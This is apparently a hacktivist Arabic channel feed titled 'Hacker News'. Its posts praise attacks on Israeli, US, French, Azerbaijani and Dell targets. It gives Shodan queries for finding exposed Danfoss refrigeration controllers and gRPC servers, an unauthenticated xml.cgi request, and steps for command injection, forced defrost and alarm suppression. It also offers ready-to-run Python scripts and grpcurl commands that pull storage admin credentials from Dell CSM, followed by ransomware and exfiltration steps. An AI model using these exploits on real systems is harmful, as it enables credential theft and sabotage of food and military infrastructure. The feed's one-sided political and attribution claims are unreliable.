Hacker News

أعلنت اليوم مجموعة "حنظلة" (Handala) عن اختراقها "وحدة مراقبة وتحليل المعلومات الإعلامية" التابعة لجيش الاحتلال الصهيوني، والتي توصف بأنها مركز للحرب المعرفية وغرفة قيادة الحرب الإعلامية للعدو. 🚨 سربت مجموعة "حنظلة" أكثر من 500 وثيقة سرية وعشرات الآلاف من المراسلات الداخلية لهذه الوحدة الحساسة وباتت متاحة الآن للاطلاع والتحميل عبر موقعها الإلكتروني وموقع "Drop Site". 📂 ترتبط هذه "وحدة مراقبة وتحليل المعلومات الإعلامية" بالهياكل الاستخباراتية الصهيونية، وتحديداً الوحدة 8200 وقسم الرقابة العسكرية، وتتركز مهامها في رصد وسائل الإعلام وتحليل الاستخبارات الإعلامية والمعرفية. 🕵️‍♂️ يُعد هذا المركز القلب النابض للعمليات الإدراكية التي تديرها تل أبيب، وهو الذراع التنفيذية المرتبطة مباشرة بـ "وحدة الرقابة العسكرية" في جيش الاحتلال. ومن خلال التوجيه والتحليل المستمر، تضمن هذه الوحدة بقاء وسائل الإعلام العبرية تحت السيطرة المباشرة للقيادة الصهيونية. 📡 #HackerNews #Handala

منتجات وبرمجيات التجسس الشهيرة لشركة كانديرو: • برمجية DevilsTongue (لسان الشيطان): وهي البرمجية الأساسية التي تطورها الشركة لاختراق أنظمة التشغيل الكبرى مثل Windows، وMac، وAndroid، وiOS، بالإضافة إلى اختراق الحسابات السحابية. • برمجية Sherlock: أداة استغلال متطورة تُستخدم في عمليات الهجوم الرقمي. • آلية العمل: تستغل البرمجيات ثغرات أمنية غير مكتشفة (Zero-day vulnerabilities) في متصفحات شهيرة مثل Google Chrome وInternet Explorer لتنفيذ هجمات دون تفاعل الضحية، أو عبر روابط وتطبيقات. القدرات التجسسية للبرنامج: بمجرد اختراق الجهاز المستهدف، تتيح برمجية كانديرو لعملائها القدرة الكاملة على: • سحب وفك تشفير الرسائل المشفرة من تطبيقات مثل Signal وTelegram. • سرقة ملفات تعريف الارتباط للمتصفح (Cookies) وكلمات المرور المخزنة. • التحكم الكامل في ميكروفون وكاميرا الجهاز لالتقاط الصور وتسجيل الأصوات المحيطة بالضحية. • تتبع الموقع الجغرافي الدقيق للجهاز وسحب سجل المكالمات. أكدت تقارير استخباراتية وحقوقية وجود تعامل وثيق بين شركة "كانديرو" (Candiru) وبعض الحكومات والأنظمة العربية كالإمارات السعودية بعقود سرية باهظة الثمن؛ حيث تُصنف دول عربية كعملاء رئيسيين اشتروا واستخدموا برمجيات التجسس التي تنتجها هذه الشركة. أوضحت التقارير الصادرة عن مختبر Citizen Lab الكندي وشركة أمن الإعلانات الأمريكية Confiant تفاصيل هذه الشبكة وآلية عملها كالآتي: • بثت الشركة ما لا يقل عن 10 ملايين إعلان يومياً، لتصل إعلاناتها "التي تبدو عادية كإعلانات الهواتف وسماعات الأذن" إلى أكثر من 120 ألف موقع إلكتروني و75 ألف تطبيق. • تسلل المنصات الكبرى: استغلت الشركة خدماتها لمنح شركات تتبع ومراقبة إسرائيلية ممر تملصيّاً للوصول إلى منصات إعلانية تديرها شركات تكنولوجية عملاقة مثل Google وComcast وYandex الروسية. • آلية التجسس (دون نقر): لم يكن التتبع يتطلب تفاعلاً أو ضغطاً على الإعلان؛ فبمجرد تحميل الإعلان (Load) داخل الصفحة أو التطبيق، تبدأ عملية تحديد هوية المستخدم وتعقبه ومحاولة سحب معلومات حساسة مثل أرقام الهواتف. • مطابقة ملفات التعريف: استخدمت الشركة تقنية تسمى "مطابقة ملفات تعريف الارتباط" (Cookie matching) لمواصلة تتبع المستخدمين حتى خارج نطاق الإعلانات المباشرة التي تعرضها. #HackerNews #لسان_الشيطان #Candiru

كشف تقريران منفصلان صدرا اليوم 15 أكتوبر 2026 عن تورط وكالة الإعلانات الرقمية الصهيونية Discover-Tech في حملة تجسس سيبرانية واسعة النطاق. استخدمت الشركة إعلانات إلكترونية خبيثة لتتبع مئات الملايين من المستخدمين حول العالم، وساعدت شركات استخبارات سيبرانية في زرع برمجية التجسس الشهيرة Candiru على أجهزة الضحايا 🕵️‍♂️💻 شركة كانديرو (Candiru) هي شركة استخبارات سيبرانية صهيونية غامضة ومتخصصة في تطوير "برمجيات التجسس المأجورة" (Mercenary Spyware). تأسست عام 2014 في تل أبيب وتعمل تحت عدة أسماء تجارية مسجلة مثل Saito Tech Ltd، وتم الاستحواذ عليها لاحقا في عام 2025 من قبل شركة Integrity Partners 🏢🔒 تُعد كانديرو واحدة من أكثر شركات التجسس سرية في العالم؛ حيث لا تملك موقعا إلكترونيا، وتفرض على موظفيها اتفاقيات سرية صارمة، وتعمل بشكل وثيق مع خريجي وحدة الاستخبارات العسكرية الصهيونية (الوحدة 8200) 🕵️ #HackerNews #لسان_الشيطان #Candiru

1. تنفيذ الأوامر على نظام التشغيل (OS Command Injection) تعتمد لوحات التحكم الحديثة هذه على نظام تشغيل داخلي مدمج (غالباً نظام مستند إلى Linux مثل Danux OS). بعد الدخول كمسؤول، يستغل المهاجم ثغرات في صفحات الإعدادات الداخلية، وتحديداً صفحة إعدادات البريد الإلكتروني وخادم SMTP (المسؤولة عن إرسال تنبيهات الأعطال للفنيين)، وتعرف هذه الثغرة برقم CVE-2025-41451: • حقن الأوامر (Injection): تحتوي حقول الإدخال الخاصة بإعدادات البريد (مثل حقل اسم السيرفر أو البريد) على ضعف في فحص المدخلات (Input Validation). يقوم المهاجم بكتابة أوامر نظام (Linux/Shell commands) خبيثة داخل هذه الحقول مدمجة مع الرموز الخاصة (مثل ; أو &&). • السيطرة الكاملة: بمجرد حفظ الإعدادات أو الضغط على زر "إرسال بريد تجريبي"، يقوم الجهاز بتنفيذ هذا الأمر البرمجي بصلاحيات الجذر (Root Privileges). يتيح هذا للمهاجم تعديل ملفات النظام، أو إنشاء مستخدمين دائمين مخفيين (Persistence)، أو مسح سجلات النظام (Logs) لإخفاء أثره. 2. التلاعب بالبنية المادية والتخريب الفيزيائي (Physical Manipulation): بما أن المهاجم أصبح يمتلك واجهة التحكم الكاملة بأجهزة التبريد، فإنه يبدأ في توجيه أوامر مباشرة للمعدات المادية (Hardware) عبر الشبكة الصناعية (مثل بروتوكول Modbus المتصل بالمكبسات والمبردات): • فرض وضع إذابة الجليد الإجباري (Forced Defrost Override): يقوم المهاجم بتغيير "المنطق البرمجي" (Logic) للجهاز. بدلاً من تشغيل وضع التذويب لمدة 30 دقيقة مثلاً، يتم برمجته ليعمل بشكل دائم ومستمر لساعات طويلة، مما يقطع التبريد تماماً ويجبر السخانات الداخلية على العمل وضخ الحرارة. • تعطيل خطوط الدفاع (Alarm Suppressing): يذهب المهاجم إلى قائمة "إدارة الإنذارات" (Alarm Management) ويقوم بتعطيل أو تأخير تنبيهات الارتفاع الحراري. هذا يضمن عدم إرسال أي رسائل تحذيرية أو إضاءة مصابيح الطوارئ في المتجر أو القاعدة العسكرية، مما يسمح للحرارة بالارتفاع حتى 50 درجة مئوية طوال الليل دون أن يشعر موظفو الأمن أو الصيانة بوجود مشكلة إلا بعد فوات الأوان. هذا والله أعلم، فإن أخطأت فمن نفسي والشيطان، وإن أصبت فمن الله وحده. #HackerNews #AK_SM800A

الخلل لم يكن ناتجاً عن فيروس يدمر الأجهزة، بل عن تلاعب بالأوامر التشغيلية عن بُعد عبر استغلال ضعف الحماية السيبرانية وثغرات برمجية تتمثل في تجاوز ضوابط المصادقة والتحكم في الصلاحيات. في البيئات التشغيلية واللوجستية الحيوية داخل الولايات المتحدة وفرنسا وغيرها من البلدان، يتم استخدام برمجيات وأنظمة شركة Danfoss الدنماركية على نطاق واسع، بما في ذلك الطرازات الحديثة مثل AK-SM 800A، التي تستخدم كـ "مدير للنظام المركزي" للتحكم بذكاء في درجات الحرارة، الجدولة، والإنذارات عبر متصفحات الإنترنت. يمكن العثور على طرازات Danfoss AK-SM 800A (والطرازات الأقدم مثل AK-SM 800 و AK-SC 355) المكشوفة عبر الإنترنت من خلال تتبع البصمات الرقمية الفريدة التي تتركها هذه الأجهزة أثناء اتصالها بالشبكة. هذه هي الطريقة الأسرع والأكثر شيوعاً، حيث تستخدم منصات مثل Shodan، و Censys، و Fofa، و Onyphe لمسح الإنترنت بالكامل باستمرار وتسجيل الأجهزة المتصلة. يبحث المخترقون عن عناصر معينة تشمل استخدام صيغ وفلاتر بحث محددة داخل محركات بحث إنترنت الأشياء (مثل Shodan أو Censys أو FOFA). تستهدف هذه الصيغ العثور على النصوص الفريدة في عناوين صفحات الويب (HTTP Titles)، أو البيانات التعريفية في شهادات التشفير (SSL Certificates)، أو الكلمات المفتاحية في استجابات الخوادم (HTTP Headers). كمثال في محرك شودان تبحث على فلاتر مثل title لعناوين الصفحات وhttp.html لمحتوى الكود الداخلي: • البحث عن عنوان واجهة إدارة الجهاز الافتراضية:

title:"StoreView Web" أو title:"StoreView Browser"

• البحث عن رابط الشركة المصنعة المدمج في شهادة التشفير:

ssl:"Danfoss"

• البحث المشترك لتقليص النتائج لطرازات Danfoss المتصلة بالإنترنت: "Danfoss" port:443 أو "Adap-Kool" استغلال ثغرة "كود اليوم" ومعلومات النظام دون تسجيل دخول: في الطراز الحديث AK-SM 800A تبيّن وجود خلل في آلية المصادقة يُعرف بمسار "كود اليوم" (Code-of-the-day). • يسمح هذا العيب للمهاجم بطلب تقرير ويب من الجهاز دون الحاجة لامتلاك اسم مستخدم أو كلمة مرور. • بمجرد إرسال أمر برمجي بسيط للجهاز المكشوف، يقوم الجهاز تلقائياً بتسريب معلومات حساسة تؤكد هويته، مثل: العناوين الداخلية للشبكة (Internal IPs)، أسماء المستخدمين، وإصدار نظام التشغيل (Danux OS)، بل وحتى اسم المتجر أو السوبرماركت (Store Name) المزروع فيه الجهاز. يستهدف المهاجم واجهة تطبيق الويب (CGI) الخاصة بـ Danfoss، وتحديداً نقطة النهاية (Endpoint) المسؤولة عن التحقق من الصلاحيات وطلب التقارير. في الثغرة والتي تُعرف بثغرة تخطي المصادقة عبر "كود اليوم" ( Datetime-derived password) المخفي، يقوم المخترق أو الباحث بإرسال طلب ويب بسيط (HTTP Request) بصيغة مُعينة إلى واجهة كود الـ CGI التابع للجهاز المسمى xml.cgi . الأمر أو الطلب البرمجي يعتمد على إرسال قيم محددة للمتغيرات (Request Parameters) دون الحاجة لإدخال اسم مستخدم أو كلمة مرور، ويكون شكل الطلب التقني كالتالي:

GET /xml.cgi?action=getauth&[attributes] HTTP/1.1
Host: [Target_IP_Address]

كيف ينجح هذا الأمر في تسريب المعلومات؟ 1. استدعاء أداة التحقق الفاشلة (action=getauth): عند إرسال هذا الطلب وتضمين سمات معينة (Specific request attributes)، يتوجه الأمر مباشرة إلى معالج الـ CGI الداخلي للجهاز. 2. استغلال كلمة المرور المشتقة من الوقت: يمتلك الجهاز آلية برمجية مخفية لتوليد كلمة مرور افتراضية تشتق قيمتها تلقائياً بناءً على "التاريخ والوقت الحالي" للجهاز (تُعرف بكود اليوم أو الـ Datetime-derived password). 3. تجاوز المصادقة وتوليد التقرير: بدلاً من صد المهاجم، يتعامل النظام مع هذا الطلب البرمجي على أنه طلب إدارة شرعي، فيقوم تلقائياً بإنشاء تقرير ويب وإرساله كاستجابة فورية (Response) للمخترق. المعلومات المسربة نتيجة هذا الأمر: بمجرد تلقي الجهاز المكشوف لهذا الأمر، يعود للمهاجم بملف نصي أو واجهة ويب تحتوي على بيانات النظام الحساسة المكتوبة داخل التقرير التلقائي، وتشمل: • اسم المتجر أو الموقع (Store Name): (مثل اسم القاعدة العسكرية أو فرع السوبرماركت المحدد). • عناوين الشبكة الداخلية (Internal IP Addresses): مما يتيح للمهاجم فهم البنية التحتية الداخلية للموقع. • أسماء المستخدمين (Usernames): المسجلين لإدارة النظام. • ملفات النظام الحيوية: يمكن عبر أوامر مدمجة بالـ XML قراءة ملفات خادم الويب الأساسية. بمجرد حصول المهاجم على صلاحية المدير (Administrator Privileges) عبر الثغرة الماضية، ينتقل إلى مرحلة التخريب الفعلي والتحكم الكامل في البيئة البرمجية والفيزيائية للجهاز. في حالة طراز Danfoss AK-SM 800A والحوادث المشابهة، يتم استغلال هذه الصلاحيات عبر تكتيكين تقنيين رئيسيين:

بعد الهجوم الكبير الذي تعرضت له سلاسل السوبر ماركت الفرنسية المختلفة ليلة 12 أكتوبر، والذي نتج عنه خسائر مادية فادحة لم يتم احصاؤها بعد، ننشر اليوم الطريقة التي تم بها الوصول لبرمجيات التحكم في التبريد الصناعي التي تنتجها شركة Danfoss الدنماركية العملاقة والمنتشرة في العالم. 🏪❄️ في البداية سنتكلم على هجوم سيبراني لم يتم كشف تفاصيله كاملة، حدث في أواخر أوت/أغسطس على وكالة المفوضيات الدفاعية الأمريكية (DeCA) وهي المسؤولة عن إدارة المتاجر العسكرية للجيش الأمريكي، حيث تم تفعيل إجباري لوضع إذابة الجليد، مما أدى لتلف الأغذية في المخازن في 14 مفوضية نذكر منها: 🇺🇸🛡 1 Fort Huachuca ولاية أريزونا - قاعدة تابعة للجيش 2 Fort Irwin ولاية كاليفورنيا - قاعدة تابعة للجيش 3 F.E. Warren AFB ولاية وايومنج - قاعدة للقوات الجوية 4 Naval Station Newport ولاية رود آيلاند - قاعدة تابعة لسلاح البحرية 5 Columbus AFB ولاية ميسيسيبي - قاعدة للقوات الجوية 6 Holloman AFB ولاية نيو مكسيكو - قاعدة للقوات الجوية 7 Little Rock AFB ولاية أركنساس - قاعدة للقوات الجوية 8 Robins AFB ولاية جورجيا - قاعدة للقوات الجوية #HackerNews #AK_SM800A

تعرضت البنية التحتية المعلوماتية لدولة أذربيجان لهجوم سيبراني مكثف ⚔️، أدى إلى استهداف أكثر من 100 نطاق وبوابة إلكترونية حكومية. بدأ الهجوم مساء يوم 13 أكتوبر 2026، وتسبب في حدوث اضطرابات وانقطاعات في الوصول إلى مواقع إلكترونية تابعة لعدة جهات ومؤسسات حكومية بارزة مثل مجلس الوزراء، وزارة الداخلية، ووزارة الصحة، وزارة حالات الطوارئ والمركز الحكومي للامتحانات 🏛. جاء الهجوم الإلكتروني كخطوة انتقامية واحتجاجية مباشرة بعد أزمة احتجاجات واسعة شهدها قطاع التعليم في أذربيجان، إثر قرارات أصدرها مجلس الوزراء بمنع طالبات ومدرسات محجبات من دخول الفصول الدراسية 🚫. أعلنت مجموعة القرصنة "Team 313" (المقاومة الإسلامية السيبرانية في العراق) مسؤوليتها عن الهجوم، وتضامنها الكامل مع المحجبات اللواتي تعرضن للمنع من الدخول للمدارس في بلد يشكل فيه المسلمون أغلبية بنسبة 96 بالمئة 🤲. #HackerNews

فرنسا تتعرض لهجوم سيبراني ضخم #HackerNews #Dixellxweb #Copelandxweb #DanfossAK_SC/AK_SM

الاختراق مس خوادم شركة Axima التابعة لمجموعة Equans، وهي مزود خدمات التركيب والهندسة والصيانة للأنظمة ومعدات التبريد في فرنسا وأوروبا، حيث وصل الهاكر للوحات التحكم لشركات التصنيع التكنولوجي نفسها مثل Danfoss الدنماركية، والشركات التابعة لـ Copeland مثل Dixell. وبالتحديد أجهزة AK-SM 800 وهو عبارة عن نظام إدارة مركزي ذكي من إنتاج شركة Danfoss الدنماركية، ومخصص بالكامل لقطاع بيع الأغذية بالتجزئة والسوبرماركت. يقوم الجهاز بجمع البيانات والتحكم في مئات العقد والمستشعرات داخل المتاجر. ويتيح للمهندسين إدارة حرارة الثلاجات عبر الإنترنت من خلال واجهة ويب تُعرف باسم StoreView Web. فتحت النيابة العامة في باريس تحقيقاً عهدت به إلى مكتب مكافحة الجرائم السيبرانية، بتوجيه من رئيس الوزراء سيباستيان لوكورنو الذي كلف الوكالة الوطنية لأمن نظم المعلومات بمتابعة الملف والتنسيق مع الجهات الأوروبية لاحتمال تأثر دول أخرى. #HackerNews #Carrefour

تعرضت فرنسا ليلة أمس لكارثة تجارية غير مسبوقة بسبب هجوم سيبراني واسع النطاق استهدف أنظمة التحكم في التبريد لمئات المتاجر والسوبر ماركت الكبرى 🏪❄️. أدى هذا الهجوم إلى ارتفاع درجات الحرارة داخل الثلاجات والمجمدات وتلف أطنان من المواد الغذائية 🍎🥩. طال الهجوم أكثر من 300 متجر لشبكتي "إنترمارشي" و"نيتو"، ونحو 100 متجر لـ "كوبراتيف يو"، إضافة إلى فروع من "كارفور"، "مونوبري"، و"إي. لوكلير (E.Leclerc)". ولم يقتصر الضرر على فرنسا بل امتد لعدة دول أوروبية أبرزها إسبانيا، البرتغال، ألمانيا، بلجيكا وبولندا 🇪🇸🇵🇹🇩🇪🇧🇪🇵🇱. تسبب الحادث في إتلاف كميات ضخمة من الأغذية الطازجة والمجمدة خلال ساعات الليل، بعد رفع حرارة المبردات لأكثر من 50 درجة، واندلاع حرائق محدودة في بعض المواقع 🔥. وخسرت الشركات والمتاجر ملايين اليوروهات 💶. نفذ الهجوم السيبراني عبر استغلال ثغرات في المصادقة وحقن أوامر عن بُعد في أجهزة التحكم الصناعي لأنظمة Danfoss 💻🔓. اعتمد المهاجمون على اختراق شبكات شركة الصيانة لتنفيذ أوامر مؤتمتة لرفع الحرارة وتعطيل الإنذارات عبر قنوات وصول موثوقة. #HackerNews #Carrefour

بناءً على دوافع المهاجم، تتخذ الخطوة الأخيرة أحد المسارات التالية: • هجمات برامج الفدية (Ransomware): يقوم المهاجم بتشفير مصفوفات التخزين بالكامل (Storage Arrays) من طرف الخلفية، ثم مسح النسخ الاحتياطية (Snapshots) المخزنة محلياً لجعل الاستعادة مستحيلة بدون دفع الفدية. • تخريب البنية التحتية (Sabotage): مسح الأقراص الافتراضية وإتلاف بيئة العمل بالكامل لشل حركة المؤسسة المستهدفة. • التجسس وسحب البيانات (Data Exfiltration): نسخ البيانات الحساسة للشركات ونقلها إلى خوادم خارجية لابتزاز المؤسسة أو بيع البيانات. #Dell #HackerNews #DellCSM

باستخدام سكربت Python (مثال توضيحي لبنية الطلب):

import grpc
# 1. الاتصال بالقناة المفتوحة دون أي شهادات أو توثيق (Insecure Channel)
channel = grpc.insecure_channel('TARGET_IP:50051')

# 2. إنشاء كائن للخدمة المستهدفة
stub = storage_auth_pb2_grpc.StorageAuthorizationServiceStub(channel)

# 3. إرسال الطلب المباشر دون إرفاق metadata تحتوي على لقطات التوثيق (No Authentication Tokens)
try:
    response = stub.GetStorageCredentials(storage_auth_pb2.CredentialRequest(storage_array_id="all"))
    # الخادم المصاب يستجيب فوراً ويعيد البيانات الحساسة!
    print("تم الاستغلال بنجاح! بيانات الاعتماد المستردة:", response.admin_password)
except grpc.RpcError as e:
    print(f"فشل الاتصال: {e}")

كما توجد طرق أخرى صالحة وأكثر واقعية يتعامل بها المهاجمون مع خدمات gRPC المكشوفة التي تفتقر للمصادقة. إليك أفضل مثالين بديلين، أحدهما يعتمد على استخدام أداة جاهزة دون كتابة كود، والآخر يمثل سكربت بايثون كامل ديناميكي (Dynamic) لا يتطلب وجود ملفات مسبقة: 1. البديل الأفضل والأسرع: أداة grpcurl (بدون كتابة كود) المهاجمون يفضلون دائماً الطرق التي لا تتطلب تجميع ملفات أو تضييع الوقت. إذا كانت ميزة الانعكاس (Reflection) مفعّلة في الخادم المصاب، يمكن تنفيذ نفس وظيفة سكربت بايثون تماماً عبر سطر أمر واحد في نظام الـ Linux ، دون الحاجة إلى ملفات .proto ولا يحتاج توليد مكتبات pb2 ، ولا يترك ملفات برمجية خلفه على نظام التشغيل، ويستغل الثغرة في ثانية واحدة:

grpcurl -plaintext -d '{"storage_array_id": "all"}' TARGET_IP:50051 dell.csm.auth.StorageAuthorizationService/GetStorageCredentials

2. المثال البرمجي المطور: سكربت بايثون ديناميكي، في لغة بايثون، توجد مكتبة متطورة جداً تسمى grpc-requests. هذه المكتبة تتيح للمهاجم تجاوز العيب الأكبر في السكربت السابق (وهو الحاجة لملفات _pb2 المجمعة مسبقاً)؛ حيث تقوم بقراءة هيكلية الخادم تلقائياً في الذاكرة وإرسال الطلب فوراً. وهذا السكربت كامل وجاهز للعمل بمجرد تغيير الـ IP (بشرط تفعيل ميزة Reflection على الخادم المستهدف):

# يجب أولاً تثبيت المكتبة عبر الأمر: pip install grpc-requests
from grpc_requests import Client

# 1. الاتصال المباشر بالخادم عبر الـ IP والمنفذ
# يقوم العميل تلقائياً بسحب هيكلية الدوال (Reflection) دون الحاجة لملفات pb2
client = Client.get_by_endpoint("TARGET_IP:50051")

# 2. تحديد اسم الخدمة والدالة المستهدفة
service_name = "dell.csm.auth.StorageAuthorizationService"
method_name = "GetStorageCredentials"

# 3. صياغة المدخلات (Payload)
payload = {"storage_array_id": "all"}

try:
    # 4. إرسال الطلب مباشرة بدون أي توثيق (No Authentication Meta)
    response = client.request(service_name, method_name, payload)
    
    # الخادم المصاب سيعيد البيانات مباشرة كقاموس (Dictionary) في بايثون
    print("[-] تم الاستغلال بنجاح! البيانات المستردة:")
    print(response)
    
except Exception as e:
    print(f"[!] فشل الاتصال أو الخادم غير مصاب: {e}")

بمجرد نجاح المهاجم في تشغيل سكربت بايثون والحصول على رد الخادم الذي يحتوي على بيانات الاعتماد (مثل اسم المستخدم وكلمة المرور الإدارية لمصفوفات التخزين Storage Arrays)، فإنه ينتقل فوراً من مرحلة الاستغلال (Exploitation) إلى مرحلة ما بعد الاستغلال (Post-Exploitation) والتثبيت داخل البيئة. الخطوات التالية التي سيتخذها المهاجم تتركز حول ثلاثة أهداف رئيسية: 1. الدخول المباشر إلى واجهات إدارة التخزين (Accessing Storage Consoles) يأخذ المهاجم بيانات الاعتماد المستردة (المستهدِفة لأنظمة مثل Dell PowerStore, PowerScale, PowerMax) ويتصل بها مباشرة عبر: • واجهات الويب الإدارية (Admin Web UIs): تسجيل الدخول كمسؤول كامل الصلاحيات لإدارة سعة التخزين. • واجهات برمجة التطبيقات (REST APIs): للتحكم بالنظام برمجياً وإرسال أوامر سريعة وضخمة. • بروتوكول SSH: للوصول إلى نظام التشغيل الخلفي لأجهزة التخزين (Storage Appliances). 2. التوسع العرضي والسيطرة على بيئة Kubernetes (Lateral Movement) بما أن حزم Dell CSM مصممة أساساً لربط التخزين بحاويات Kubernetes لتوفير مساحات تخزين دائمة (Persistent Volumes) للتطبيقات ، فإن المهاجم يستغل هذه السيطرة لـ: • إدراج حاويات خبيثة: إنشاء حاويات جديدة داخل العنقود (Cluster) تمتلك صلاحيات الوصول إلى هذه الملفات الحساسة. • سرقة البيانات الحساسة: الوصول إلى قواعد البيانات المخزنة، ملفات الشيفرة المصدرية، أو أسرار النظام (Secrets) المكتوبة داخل وحدات التخزين. 3. تحقيق الهدف النهائي

في الكثير من بيئات Kubernetes، يتم تثبيت أدوات Dell CSM دون تفعيل سياسات عزل شبكي (Network Policies). هذا يعني تقنياً أن أي تطبيق يتم تشغيله داخل العنقود حتى لو كان تطبيقاً بسيطاً لأحد المطورين يمتلك الصلاحية الشبكية الكاملة لإرسال حزم البيانات إلى خادم التخزين gRPC. إذا استطاع المهاجم استغلال أي ثغرة في أي تطبيق فرعي، فسيجد خادم gRPC مكشوفاً أمامه على الفور، تعتمد محركات بحث الاستخبارات مفتوحة المصدر (مثل Shodan و Censys) على صيغ بحث (Queries) دقيقة لتحديد الأنظمة والمنافذ التي تشغّل بروتوكول gRPC ، وحيث أن gRPC يعتمد أساساً على بروتوكول HTTP/2، فإن البحث يركز على المؤشرات الخاصة بـ HTTP/2 أو البصمات النصية الفريدة للخدمات. في الوضع الطبيعي، تعتمد بيئات gRPC على آليات مثل gRPC Metadata لتمرير رموز التوثيق (مثل JWT Tokens) أو تعتمد على Mutual TLS (mTLS) للتحقق من هوية المتصل قبل تنفيذ أي أمر حساس. بسبب خلل التصميم في الإصدار المصاب، يتصرف خادم التفويض (csm-authorization-storage) بالشكل التالي عند استقبال الطلب: • غياب الفلترة (No Gatekeeper): يستقبل الخادم طلب الـ gRPC المصاغ عبر بروتوكول HTTP/2، ويمجرد قراءته للـ Method المطلوبة (والتي تُعنى بإدارة التخزين أو جلب البيانات الحساسة)، يقوم بتنفيذها فوراً. • ثقة عمياء: يفترض الخادم أن أي طلب يصل إلى هذا المنفذ الداخلي هو طلب موثوق، مما يسمح للمهاجم - بمجرد وصوله للشبكة أو المنفذ المفتوح - بصياغة الطلب عبر أدوات gRPC القياسية (مثل grpcurl أو سكربت بايثون مخصص) وتنفيذ الأوامر الإدارية وكأنه المسؤول عن النظام. لتحديد منافذ gRPC المكشوفةإليكم أمثلة للصيغ المستخدمة في أشهر المحركات : 1. عبر محرك البحث Shodan في Shodan، يبحث المهاجمون عن الترويسات (Headers) الخاصة بـ HTTP/2 والتي تشير إلى محتوى gRPC (مثل غياب نوع المحتوى القياسي أو ترويسات خاصة بـ grpc): • البحث عن الترويسة الافتراضية لـ gRPC: "content-type: application/grpc" (تبحث هذه الصيغة عن أي خادم يرد في الترويسة بأنه يتوقع أو يرسل بيانات بصيغة gRPC). • البحث عن الأنظمة التي تدعم ترويسات gRPC عبر منافذ غير مشفرة أو مشفرة: "grpc-status:" (عندما تتصل الأنظمة بخادم gRPC دون إرسال بيانات صحيحة، يرجع الخادم ترويسة تحتوي على grpc-status لتحديد نوع الخطأ، وهذه بصمة ممتازة للمحرك). • دمج البحث مع المنفذ (إذا كان معروفاً بتقديمه لخدمات معينة): "content-type: application/grpc" port:50051 (المنفذ 50051 هو المنفذ الافتراضي الشائع جداً لبيئات تطوير واختبار gRPC). • البحث الخاص بـ Dell CSM (في حال وجود بصمة نصية مثل Karavi أو التوثيق الخاص بها): "karavi" OR "csm-authorization" يستخدم المهاجمون أدوات مخصصة للتعامل مع بروتوكول gRPC. أشهر هذه الأدوات هي grpcurl (وهي أداة تشبه curl ولكنها مخصصة لـ gRPC وتدعم HTTP/2)، أو عبر برمجية Python باستخدام مكتبة grpcio. إليك كيف تبدو عملية فحص واستغلال منفذ gRPC مصاب (مثل الخلل الموجود في غياب المصادقة): 1. مرحلة استكشاف الدوال (Service Discovery) قبل إرسال الطلب، يحتاج المهاجم لمعرفة أسماء الدوال (Methods) المتاحة داخل الخادم. إذا كانت ميزة الانعكاس (gRPC Reflection) مفعّلة، يمكنه سرد كافة الخدمات عبر الأمر التالي: grpcurl -plaintext <Target-IP>:50051 list ملاحظة: خيار -plaintext يُستخدم لأن المهاجم يتصل بدون شهادات تشفير TLS أو بمستوى حماية ضعيف. النتيجة المتوقعة قد تظهر دالة حساسة مثل: dell.csm.auth.StorageAuthorizationService ثم يقوم بسرد الدوال الفرعية داخلها:

grpcurl -plaintext <Target-IP>:50051 list dell.csm.auth.StorageAuthorizationService

2. صياغة وإرسال الطلب المباشر (The gRPC Exploit Request) بما أن الثغرة (CVE-2026-63688) تفتقر تماماً للمصادقة، يرسل المهاجم طلبًا فارغاً أو يحتوي فقط على المعاملات الأساسية (مثل معرف مصفوفة التخزين) دون إرفاق أي Token أو ترويسة أمان. باستخدام grpcurl:

grpcurl -plaintext -d '{"storage_array_id": "all"}' <Target-IP>:50051 dell.csm.auth.StorageAuthorizationService/GetStorageCredentials

رغم أن شركة "ديل" للتكنولوجيا ذات سمعة عالمية، فهذا لا يعني أن برمجياتها حصينة وليس بها عيوب، سنستعرض معكم في هذا المقال أحد الثغرات مع اجتهاد لسيناريو عملية تخطى الحواجز الأمنية والخطوات التقنية التي تمكن من سحب بيانات الاعتماد الحساسة، فإن أخطأت فمن نفسي والشيطان وإن أصبت فمن الله وحده. 🛡 الثغرة الموجودة في وحدات تخزين الحاويات من ديل (Dell Container Storage Modules - CSM)، وهي البرمجية المسؤولة عن ربط مصفوفات التخزين الكبيرة ببيئات الحاويات مثل Kubernetes و Red Hat OpenShift. 📦 وتوجد تحديداً داخل خادم الاتصال من نوع gRPC المسؤول عن نظام التخزين المصادق عليه ويحمل الاسم csm-authorization-storage ⚠️ تؤثر الثغرة على برمجيات Dell CSM في جميع الإصدارات السابقة للإصدار v1.18.0. ويشمل خطر سرقة البيانات كافة عائلات التخزين الكبيرة المرتبطة بهذه البرمجية، وهي: • PowerStore • PowerScale • PowerFlex • PowerMax • Unity XT #Dell #HackerNews #DellCSM

تدعم عائلة ديل بشكل واضح الكيان الصهيوني وتشمل مجالات الدعم ما يلي، وفق تقارير متفرقة: · مؤسسة مايكل وسوزان ديل: دعم مشاريع في الكيان الصهيوني تركز على التعليم التكنولوجي والصحة العقلية. · منظمة أصدقاء جيش الدفاع الصهيوني (FIDF): تبرع بمبلغ 1.8 مليون دولار عام 2014 لبرامج تعليمية ومنح لجنود صهاينة. · بعد السابع أكتوبر 2023: تقارير تحدثت عن تبرع مايكل ديل بأسهم قيمتها حوالي 350 مليون دولار. تُعد شركة Dell Technologies شريكًا تقنيًا محوريًا في البنية التحتية الرقمية التي يستخدمها الجيش الصهيوني في حربه على غزة. توفر "ديل" الخوادم ومراكز البيانات وأنظمة التخزين التي تعمل عليها أنظمة الذكاء الاصطناعي المستخدمة في الاستهداف والمراقبة. 🏗 البنية التحتية العسكرية: عقود بمئات الملايين · عقد 2023 (150 مليون دولار): فازت "ديل" بمناقصة من وزارة الدفاع الصهيونية لتزويد الجيش وأجهزة الأمن الأخرى بالخوادم وخدمات الصيانة، بتمويل من المساعدات الخارجية الأمريكية. شمل العقد خدمات من الشركات التابعة مثل VMware وEMC Israel. · عقد 2010 (300 مليون دولار): فازت EMC Israel (التي استحوذت عليها Dell لاحقًا) بمناقصة لتزويد الجيش الصهيوني بأنظمة التخزين والنسخ الاحتياطي. · عقد 2006 (50,000 حاسوب): فازت "ديل" بمناقصة لتزويد الجيش الصهيوني بخمسين ألف حاسوب شخصي. 🤖 تمكين أنظمة الاستهداف بالذكاء الاصطناعي تُشكّل أجهزة "ديل" العمود الفقري للتحول الرقمي في الجيش الصهيوني، وهي البنية التحتية التي تعمل عليها أنظمة الاستهداف الآلي التي أدت إلى سقوط ضحايا مدنيين في غزة: · نظام "لافندر" (Lavender): 